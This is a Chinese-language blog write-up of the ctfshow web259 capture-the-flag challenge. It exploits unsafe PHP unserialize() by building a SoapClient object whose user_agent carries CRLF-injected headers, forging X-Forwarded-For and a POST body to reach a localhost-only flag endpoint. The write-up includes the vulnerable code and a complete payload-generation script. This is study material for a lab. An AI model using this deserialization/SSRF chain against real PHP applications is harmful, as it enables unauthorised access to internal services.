ctfshow web入门之web259

web259

题目描述

1.题目源码很短:

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

2.题目在提示给出了flag.php的内容:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

题目解读

1.首先,根据源码,可见我们需要传入一个反序列化的参数,并且调用一个不存在的getFlag()方法,而我们知道,调用一个不存在的公共方法,就会自动调用__call方法,因此我们应当去联想有哪些原生类有__call方法,下面给出一个找原生类方法的脚本:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

联想到这题的提示,很容易想到ssrf中的SoapClient类,并且它也存在__call方法!

image-20240526112247311

跟进一下soap类:

image-20240526113324168

在php手册上查询,发现这个方法可以调用远程soap方法!(虽然已经被废弃了)

image-20240526141800992

2.现在思路就明确了:我们需要利用SoapClient类构造一个post请求,让ip=127.0.0.1,携带token="ctfshow"。

3.首先我们需要构造一下UA头,绕过127.0.0.1的限制:

$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

这里的"\r\n"是CRLF注入,代表着"回车换行";而我们知道,请求头和请求体之间是存在一个空行的,因此Content-Length和token之间存在了两对"\r\n"。之所以要写两个127.0.0.1,是因为代码中使用了两次array_pop,每次会删除最后一个数组元素,因此为了将$ip赋值为127.0.0.1,需要写两个127.0.0.1。

4.其次我们查询php手册,找到SoapClient类的构造方法所需的参数:

$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
soap是什么
1.soap是webServer的三要素之一(SOAP、WSDL、UDDI)
2.WSDL用来描述如何访问具体的接口
3.UUDI用来管理、分发、查询webServer
4.SOAP是连接web服务和客户端的接口
简单地说,SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。 php中的soapClient类
php中的soapClient类可以创建soap数据报文,与wsdl接口进行交互。

第一个参数设置为null,表示非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求。

第二个参数中,可以设置uri、location、user_agent等值。

uri:指定命名空间 URI(Namespace URI)。

location:指定 Web 服务的 URL 地址。

user_agent:指定 HTTP 请求的 User-Agent 头。

5.接着,我们把上面两步的数据整合在一起,进行序列化,然后传递参数,再访问flag.txt即可拿到flag:

<?php
$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client))
?>
posted @ 2024-05-26 14:35  dtwin  阅读(172)  评论(0编辑  收藏  举报